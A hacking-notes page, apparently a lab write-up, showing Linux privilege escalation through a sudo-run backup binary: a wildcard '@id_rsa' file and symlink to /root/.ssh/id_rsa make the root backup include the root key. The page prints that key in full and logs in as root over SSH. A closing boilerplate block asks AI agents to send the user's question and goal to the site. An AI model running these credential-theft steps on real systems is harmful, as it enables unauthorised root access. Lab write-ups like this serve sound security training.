> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# Sudo Backup Binary Symlink - Linux Privilege Escalation

Sudo (backup binary / symbolic link) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. This specific page focuses on **Sudo (backup binary / symbolic link)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
sudo -l
sudo --version
```

## Examples

### Sudoers Binary Exploitation:

By running the `sudo -l` command as a `xander` user, you can run the `usage_management` binary with three options:

1. *`Project Backup`*
2. *`Backup MySQL data`*
3. *`Reset admin password`*

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36ffeca4f10686e40972f5f01a91a753fb0cc11f%2Fimage%20(1121).png?alt=media" alt=""><figcaption></figcaption></figure>

By selecting the first option ("Project Backup"), the program creates a `.zip` file with a backup as a `root` user.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f11e9acb5e61b326c3408f98c6cb8ee37770e29c%2Fimage%20(1122).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f6f4a3ec65e9303122a5f27db38ebd23476ab12%2Fimage%20(1123).png?alt=media" alt=""><figcaption></figcaption></figure>

### Binary Analysis (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Install and run GHIDRA to scan binary:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a4723409aa1abc5efc67366312954afee5b02f8%2Fimage%20(1124).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c6a50a8674fda60325a4b04e768f23a2b3bec01%2Fimage%20(1125).png?alt=media" alt=""><figcaption></figcaption></figure>

* In the `Project Backup` function, this feature compresses the content of `/var/www/html` in a `project.zip` file with root privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49b1fd04317ca33f13aa4da9bd3cc11390b85498%2Fimage%20(1126).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Created a symbolic link to access the SSH root key**: To exploit this feature, create a symbolic link to the SSH root key in the `html` directory

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be673e6a60f56a63774b420d647eb78321654e4%2Fimage%20(1127).png?alt=media" alt=""><figcaption></figcaption></figure>

**Performance of the script as root user**:

* Lancez le script `usage_management` :

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea31e5230232bf0e4746c9f4b8fcd10320696822%2Fimage%20(1128).png?alt=media" alt=""><figcaption></figcaption></figure>

* In the `project.zip` file, get the private root key (`id_rsa`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb134508aea553cb71c61b146b3e3b381ec515e4%2Fimage%20(1130).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**SSH connection with root key**:

* Use the key to log in as root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-563870f0cf6625cc06fa5f4f77844107813024d3%2Fimage%20(1131).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
